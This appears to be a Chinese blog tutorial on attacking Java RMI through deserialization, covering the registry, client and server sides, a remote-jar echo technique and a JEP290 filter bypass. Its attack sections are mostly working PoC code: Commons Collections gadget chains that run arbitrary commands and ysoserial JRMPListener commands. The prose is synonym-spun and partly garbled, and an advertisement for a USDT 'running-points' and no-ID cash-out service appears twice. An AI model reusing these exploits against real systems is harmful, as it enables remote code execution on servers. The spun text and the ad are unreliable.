菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
什么是RMI
RMI是远程方式挪用的简称,能够辅助我们查找并执行远程工具的方式。通俗地说,远程挪用就象将一个class放在A机械上,然后在B机械中挪用这个class的方式。
RMI(Remote Method Invocation),为远程方式挪用,是允许运行在一个Java虚拟机的工具挪用运行在另一个Java虚拟机上的工具的方式。 这两个虚拟机可以是运行在相同盘算机上的差别历程中,也可以是运行在网络上的差别盘算机中。
Java RMI(Java Remote Method Invocation),是Java编程语言里一种用于实现远程历程挪用的应用程序编程接口。它使客户机上运行的程序可以挪用远程服务器上的工具。远程方式挪用特征使Java编程职员能够在网络环境中漫衍操作。RMI所有的宗旨就是尽可能简化远程接口工具的使用。
从客户端-服务器模子来看,客户端程序直接挪用服务端,两者之间是通过JRMP( Java Remote Method Protocol)协议通讯,这个协议类似于HTTP协议,划定了客户端和服务端通讯要知足的规范。
在RMI中工具是通过序列化方式举行编码传输的
RMI分为三个主体部门:
- Client-客户端:客户端挪用服务端的方式
- Server-服务端:远程挪用方式工具的提供者,也是代码真正执行的地方,执行竣事会返回给客户端一个方式执行的效果
- Registry-注册中央:实在本质就是一个map,相当于是字典一样,用于客户端查询要挪用的方式的引用,在低版本的JDK中,Server与Registry是可以不在一台服务器上的,而在高版本的JDK中,Server与Registry只能在一台服务器上,否则无法注册乐成
总体RMI的挪用实现目的就是挪用远程机械的类跟挪用一个写在自己的内陆的类一样
唯一区别就是RMI服务端提供的方式,被挪用的时刻该方式是执行在服务端
RMI交互历程
如图所示
RMI客户端与服务端实现
1.服务端编写一个远程接口
import java.rmi.Remote; import java.rmi.RemoteException; public interface rmi extends Remote { public String hello() throws RemoteException; }
这个接口需要
- 使用public声明,否则客户端在实验加载实现远程接口的远程工具时会失足。(若是客户端、服务端放一起没关系)
- 同时需要继续Remote类
- 接口的方式需要声明java.rmi.RemoteException报错
- 服务端实现这个远程接口
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject; public class RemoteClass extends UnicastRemoteObject implements rmi{ public RemoteClass() throws RemoteException { System.out.println("组织方式"); } public String hello() throws RemoteException { System.out.println("hello,world"); return "hello,world"; } }
这个实现类需要
- 实现远程接口
- 继续UnicastRemoteObject类,貌似继续了之后会使用默认socket举行通讯,而且该实现类会一直运行在服务器上(若是不继续UnicastRemoteObject类,则需要手工初始化远程工具,在远程工具的组织方式的挪用UnicastRemoteObject.exportObject()静态方式)
- 组织函数需要抛出一个RemoteException错误
- 实现类中使用的工具必须都可序列化,即都继续java.io.Serializable
- 注册远程工具
import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Server { public static void main(String[] args) throws RemoteException { rmi hello = new RemoteClass();//确立远程工具 Registry registry = LocateRegistry.createRegistry(1099);//确立注册表 registry.rebind("hello",hello);//将远程工具注册到注册表内里,而且设置值为hello } }
关于绑定的地址许多地方会rmi://ip:port/Objectname的形式,实际上看rebind源码就知道RMI:写不写都行,port若是默认是1099,不写会自动补上,其他端口必须写
那么服务端就部署好了,来看客户端
2.客户端部署
import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Client { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);//获取远程主机工具 // 行使注册表的署理去查询远程注册表中名为hello的工具 RemoteClass hello = (RemoteClass) registry.lookup("hello"); // 挪用远程方式 System.out.println(hello.hello()); } }
那么先运行服务端,再运行客户端,就可以完成挪用
RMI反序列化的攻击方式
攻击注册中央
我们与注册中央举行交互可以使用如下几种方式
- list
- bind
- rebind
- unbind
- lookup
这几种方式位于RegistryImpl_Skel,dispatch中,若是存在readObject,则可以行使(详细流程剖析可以参考p1g3师傅的历程https://payloads.info/2020/06/21/Java%E5%AE%89%E5%85%A8-RMI-%E5%AD%A6%E4%B9%A0%E6%80%BB%E7%BB%93/,%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90)
dispatch内里对应关系如下
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
list
case 1:
var2.releaseInputStream();
String[] var97 = var6.list();
try {
ObjectOutput var98 = var2.getResultStream(true);
var98.writeObject(var97);
break;
} catch (IOException var92) {
throw new MarshalException("error marshalling return", var92);
}
这里没有readObject以是无法行使
bind&rebind
case 0: try { var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); } catch (IOException var94) { throw new UnmarshalException("error unmarshalling arguments", var94); } catch (ClassNotFoundException var95) { throw new UnmarshalException("error unmarshalling arguments", var95); } finally { var2.releaseInputStream(); } var6.bind(var7, var8); try { var2.getResultStream(true); break; } catch (IOException var93) { throw new MarshalException("error marshalling return", var93); } case 3: try { var11 = var2.getInputStream(); var7 = (String)var11.readObject(); var8 = (Remote)var11.readObject(); } catch (IOException var85) { throw new UnmarshalException("error unmarshalling arguments", var85); } catch (ClassNotFoundException var86) { throw new UnmarshalException("error unmarshalling arguments", var86); } finally { var2.releaseInputStream(); } var6.rebind(var7, var8); try { var2.getResultStream(true); break; } catch (IOException var84) { throw new MarshalException("error marshalling return", var84); }
当挪用bind时,会用readObject读出参数名以及远程工具,此时则可以行使
当挪用rebind时,会用readObject读出参数名和远程工具,这里和bind是一样的,以是都可以行使
若是服务端存在cc1相关组件破绽,那么就可以使用反序列化攻击
POC:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class Client { public static void main(String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Map map = (Map)constructor.newInstance(innermap,chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //确立第一个署理的handler Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //确立proxy工具 Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map); Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, handler)); registry.bind("test",r); } }
Remote.class.cast这里实际上是将一个署理工具转换为了Remote工具
unbind&lookup
case 2: try { var10 = var2.getInputStream(); var7 = (String)var10.readObject(); } catch (IOException var89) { throw new UnmarshalException("error unmarshalling arguments", var89); } catch (ClassNotFoundException var90) { throw new UnmarshalException("error unmarshalling arguments", var90); } finally { var2.releaseInputStream(); } var8 = var6.lookup(var7); case 4: try { var10 = var2.getInputStream(); var7 = (String)var10.readObject(); } catch (IOException var81) { throw new UnmarshalException("error unmarshalling arguments", var81); } catch (ClassNotFoundException var82) { throw new UnmarshalException("error unmarshalling arguments", var82); } finally { var2.releaseInputStream(); } var6.unbind(var7);
这里也有readObject,然则和bind以及rebind纷歧样的是只能传入String类型,这里我们可以通过伪造毗邻请求举行行使,修改lookup方式代码使其可以传入工具,原先的lookup方式
Registry_Stub,lookup
public Remote lookup(String var1) throws AccessException, NotBoundException, RemoteException { try { RemoteCall var2 = super.ref.newCall(this, operations, 2, 4905912898345647071L); try { ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); } catch (IOException var18) { throw new MarshalException("error marshalling arguments", var18); } super.ref.invoke(var2); Remote var23; try { ObjectInput var6 = var2.getInputStream(); var23 = (Remote)var6.readObject(); } catch (IOException var15) { throw new UnmarshalException("error unmarshalling return", var15); } catch (ClassNotFoundException var16) { throw new UnmarshalException("error unmarshalling return", var16); } finally { super.ref.done(var2); } return var23; } catch (RuntimeException var19) { throw var19; } catch (RemoteException var20) { throw var20; } catch (NotBoundException var21) { throw var21; } catch (Exception var22) { throw new UnexpectedException("undeclared checked exception", var22); } }
POC如下:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import sun.rmi.server.UnicastRef; import java.io.ObjectOutput; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.Operation; import java.rmi.server.RemoteCall; import java.rmi.server.RemoteObject; import java.util.HashMap; import java.util.Map; public class Client { public static void main(String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Map map = (Map)constructor.newInstance(innermap,chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //确立第一个署理的handler Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //确立proxy工具 Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map); Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, handler)); // 获取ref Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields(); fields_0[0].setAccessible(true); UnicastRef ref = (UnicastRef) fields_0[0].get(registry); //获取operations Field[] fields_1 = registry.getClass().getDeclaredFields(); fields_1[0].setAccessible(true); Operation[] operations = (Operation[]) fields_1[0].get(registry); // 伪造lookup的代码,去伪造传输信息 RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L); ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(r); ref.invoke(var2); } }
攻击客户端
注册中央攻击客户端
此方式可以攻击客户端和服务端
对于注册中央来说,我们照样从这几个方式触发:
- bind
- unbind
- rebind
- list
- lookup
除了unbind和rebind都市返回数据给客户端,返回的数据是序列化形式,那么到了客户端就会举行反序列化,若是我们能控制注册中央的返回数据,那么就能实现对客户端的攻击,这里使用ysoserial的JRMPListener,下令如下
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections1 'open /System/Applications/Calculator.app'
然后使用客户端去接见
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Client { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1",12345); registry.list(); } }
就乐成实现客户端的RCE
这里纵然挪用unbind也会触发反序列化,推测是在之前传输一些约定好的数据时举行的序列化和反序列化。以是实际上这五种方式都可以到达注册中央反打客户端或服务端的目的
服务端攻击客户端
服务端攻击客户端,大致可以分为以下两种情景。
1.服务端返回参数为Object工具
2.远程加载工具
在RMI中,远程挪用方式通报回来的纷歧定是一个基础数据类型(String、int),也有可能是工具,当服务端返回给客户端一个工具时,客户端就要对应的举行反序列化。以是我们需要伪造一个服务端,当客户端挪用某个远程方式时,返回的参数是我们组织好的恶意工具。这里以cc1为例
恶意类LocalUser
,,菜宝钱包(caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import java.util.Map;
public class LocalUser extends UnicastRemoteObject implements User {
public String name;
public int age;
public LocalUser(String name, int age) throws RemoteException {
super();
this.name = name;
this.age = age;
}
public Object getUser(){
InvocationHandler handler = null;
try {
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{
String.class, Class[].class}, new Object[]{
"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{
Object.class, Object[].class}, new Object[]{
null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");
Constructor[] constructors = clazz.getDeclaredConstructors();
Constructor constructor = constructors[0];
constructor.setAccessible(true);
Map map = (Map) constructor.newInstance(innermap, chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //确立第一个署理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //确立proxy工具
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map);
}catch(Exception e){
e.printStackTrace();
}
return (Object)handler;
}
}
User接口
import java.rmi.RemoteException; public interface User extends java.rmi.Remote { public Object getUser() throws RemoteException; }
服务端
import java.rmi.AlreadyBoundException; import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.concurrent.CountDownLatch; public class Server { public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException, NotBoundException { User liming = new LocalUser("liming",15); Registry registry = LocateRegistry.createRegistry(1099); registry.bind("user",liming); System.out.println("registry is running..."); System.out.println("liming is bind in registry"); CountDownLatch latch=new CountDownLatch(1); latch.await(); } }
客户端
import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class Client { public static void main(String[] args) throws Exception { Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); User user = (User) registry.lookup("user"); user.getUser(); } }
当客户端挪用服务端绑定的远程工具的getUser方式时,将反序列化服务端传来的恶意远程工具。此时将触发RCE
加载远程工具
这个条件十分十分苛刻,在现实生活中基本不可能碰着。
当服务端的某个方式返回的工具是客户端没有的时,客户端可以指定一个URL,此时会通过URL来实例化工具。
详细可以参考这篇文章,行使条件太过于苛刻了:https://paper.seebug.org/1091/,serverrmi-server
java.security.policy
这个默认是没有设置的,需要我们手动去设置
攻击服务端
上面说了行使注册中央攻击客户端,同样的方式也可以攻击服务端,这里说一下客户端攻击服务端的方式
当服务端的远程方式存在Object参数的情况下
若是服务端的某个方式,通报的参数是Object类型的参数,当服务端吸收数据时,就会挪用readObject,以是我们可以从这个角度入手来攻击服务端。
我们写一个addUser方式,是吸收Object类型参数的
import java.rmi.RemoteException; public interface User extends java.rmi.Remote { public Object getUser() throws RemoteException; public void addUser(Object user) throws RemoteException; }
当客户端挪用这个方式时刻,服务端会对其通报的参数举行反序列化。
Client Demo:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class Client { public static void main(String[] args) throws Exception { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new InvokerTransformer("exec", new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})}); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Map map = (Map)constructor.newInstance(innermap,chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //确立第一个署理的handler Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //确立proxy工具 Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map); Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099); User user = (User) registry.lookup("user"); user.addUser(handler); } }
远程加载工具
和上边Server打Client一样行使条件异常苛刻。
参考:https://paper.seebug.org/1091/,serverrmi
行使URLClassLoader实现回显攻击
攻击注册中央时,注册中央遇到异常会直接把异常发回来,返回给客户端。这里我们行使URLClassLoader加载远程jar,传入服务端,反序列化后挪用其方式,在方式内抛失足误,错误会传回客户端
远程demo:
import java.io.BufferedReader; import java.io.InputStreamReader; public class ErrorBaseExec { public static void do_exec(String args) throws Exception { Process proc = Runtime.getRuntime().exec(args); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); StringBuffer sb = new StringBuffer(); String line; while ((line = br.readLine()) != null) { sb.append(line).append("\n"); } String result = sb.toString(); Exception e=new Exception(result); throw e; } }
通过如下下令制作成jar包
javac ErrorBaseExec.java
jar -cvf RMIexploit.jar ErrorBaseExec.class
客户端POC:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.net.URLClassLoader; import java.rmi.Remote; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.util.HashMap; import java.util.Map; public class Client { public static Constructor<?> getFirstCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0]; ctor.setAccessible(true); return ctor; } public static void main(String[] args) throws Exception { String ip = "127.0.0.1"; //注册中央ip int port = 1099; //注册中央端口 String remotejar = 远程jar; String command = "whoami"; final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; try { final Transformer[] transformers = new Transformer[] { new ConstantTransformer(java.net.URLClassLoader.class), new InvokerTransformer("getConstructor", new Class[] { Class[].class }, new Object[] { new Class[] { java.net.URL[].class } }), new InvokerTransformer("newInstance", new Class[] { Object[].class }, new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(remotejar) } } }), new InvokerTransformer("loadClass", new Class[] { String.class }, new Object[] { "ErrorBaseExec" }), new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "do_exec", new Class[] { String.class } }), new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new String[] { command } }) }; Transformer transformedChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value", "value"); Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); Class cl = Class.forName( "sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class); ctor.setAccessible(true); Object instance = ctor.newInstance(Target.class, outerMap); Registry registry = LocateRegistry.getRegistry(ip, port); InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS) .newInstance(Target.class, outerMap); Remote r = Remote.class.cast(Proxy.newProxyInstance( Remote.class.getClassLoader(), new Class[] { Remote.class }, h)); registry.bind("liming", r); } catch (Exception e) { try { System.out.print(e.getCause().getCause().getCause().getMessage()); } catch (Exception ee) { throw e; } } } }
JEP290及其绕过
JEP290先容
JEP290
机制是用来过滤传入的序列化数据,以提高安全性,在反序列化的历程中,新增了一个filterCheck
方式,以是,任何反序列化操作都市经由这个filterCheck
方式,行使checkInput
方式来对序列化数据举行检测,若是有任何不合格的检测,Filter
将返回REJECTED
。然则jep290
的filter
需要手动设置,通过setObjectInputFilter
来设置filter
,若是没有设置,照样不会有白名单。
private static Status registryFilter(FilterInfo var0) { if (registryFilter != null) { Status var1 = registryFilter.checkInput(var0); if (var1 != Status.UNDECIDED) { return var1; } } if (var0.depth() > (long)REGISTRY_MAX_DEPTH) { return Status.REJECTED; } else { Class var2 = var0.serialClass(); if (var2 == null) { return Status.UNDECIDED; } else { if (var2.isArray()) { if (var0.arrayLength() >= 0L && var0.arrayLength() > (long)REGISTRY_MAX_ARRAY_SIZE) { return Status.REJECTED; } do { var2 = var2.getComponentType(); } while(var2.isArray()); } if (var2.isPrimitive()) { return Status.ALLOWED; } else { return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED; } } } }
设置的白名单如下
String.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class
JEP290自己是JDK9的产物,然则Oracle官方做了向下移植的处置,把JEP290的机制移植到了以下三个版本以及其修复后的版本中:
- Java™ SE Development Kit 8, Update 121 (JDK 8u121)
- Java™ SE Development Kit 7, Update 131 (JDK 7u131)
- Java™ SE Development Kit 6, Update 141 (JDK 6u141)
以8u131作为测试
被阻挡,返回REJECTED
JEP290的绕过
Bypass的思绪应该是从上面白名单的类或者他们的子类中寻找复写readObject行使点。
我们通过getRegistry时获得的注册中央,实在就是一个封装了UnicastServerRef工具的工具:
当我们挪用bind方式后,会通过UnicastRef工具中存储的信息与注册中央举行通讯:
这里会通过ref与注册中央通讯,并将绑定的工具名称以及要绑定的远程工具发过去,注册中央在后续会对应举行反序列化
接着来看看yso中的JRMPClient:
ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint(host, port); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] { Registry.class }, obj); return proxy;
这里返回了一个署理工具,上面用的这些类都在白名单里,当注册中央反序列化时,会挪用到RemoteObjectInvacationHandler父类RemoteObject的readObject方式(由于RemoteObjectInvacationHandler没有readObject方式),在readObject里的最后一行会挪用ref.readExternal方式,并将ObjectInputStream传进去:
ref.readExternal(in);
UnicastRef,readExternal
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException { this.ref = LiveRef.read(var1, false); }
LiveRef,read
这里在上边会把LiveRef工具还原,LiveRef工具中存了我们序列化进去的ip和端口,之后会挪用DGCClient,registerRefs
tatic void registerRefs(Endpoint var0, List<LiveRef> var1) { DGCClient.EndpointEntry var2; do { var2 = DGCClient.EndpointEntry.lookup(var0); } while(!var2.registerRefs(var1)); }
var2这里转回来的是一个DGCClient工具,里边同样封装了我们的端口信息,接着看到registerRefs方式中的this.makeDirtyCall(var2, var3);
这里会调到DGCClient,makeDirtyCall,并把var2传进去,var2里封装了我们的endpoint信息
Lease var7 = this.dgc.dirty(var4, var2, new Lease(DGCClient.vmid, DGCClient.leaseValue));
这里会进到dirty方式中,var4是我们传进去的ObjID工具,var1是一个HashSet工具,里边存了我们的Endpoint信息
public Lease dirty(ObjID[] var1, long var2, Lease var4) throws RemoteException { try { RemoteCall var5 = super.ref.newCall(this, operations, 1, -669196253586618813L); try { ObjectOutput var6 = var5.getOutputStream(); var6.writeObject(var1); var6.writeLong(var2); var6.writeObject(var4); } catch (IOException var20) { throw new MarshalException("error marshalling arguments", var20); } super.ref.invoke(var5); try { ObjectInput var9 = var5.getInputStream(); var24 = (Lease)var9.readObject();
这里wirteObject后,会用invoke将数据发出去,接下来从socket毗邻中先读取了输入,然后直接反序列化,此时的反序列化并没有设置filter,以是这里可以直接导致注册中央rce,以是我们可以伪造一个socket毗邻并把我们恶意序列化的工具发过去
我们行使ysoserial启动一个恶意的服务端
java -cp ysoserial-master-30099844c6-1.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open -a Calculator"
对应客户端代码
import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; import java.rmi.server.ObjID; import java.rmi.server.RemoteObjectInvocationHandler; import java.util.Random; public class Client { public static void main(String[] args) throws RemoteException, IllegalAccessException, InvocationTargetException, InstantiationException, ClassNotFoundException, NoSuchMethodException, AlreadyBoundException { Registry reg = LocateRegistry.getRegistry("127.0.0.1",7777); ObjID id = new ObjID(new Random().nextInt()); // RMI registry TCPEndpoint te = new TCPEndpoint("127.0.0.1", 1099); UnicastRef ref = new UnicastRef(new LiveRef(id, te, false)); RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref); Registry proxy = (Registry) Proxy.newProxyInstance(Client.class.getClassLoader(), new Class[] { Registry.class }, obj); reg.bind("hello",proxy); } }
同理使用unbind、rebind、lookup也是可以的,该方式在JDK<=8u231时可用,在8u241被修复
(Ps:JEP290感受还不是很清晰,我的明白是确立一个socket毗邻传输数据,注册中央会直接举行反序列化,不会先举行filter)
网友评论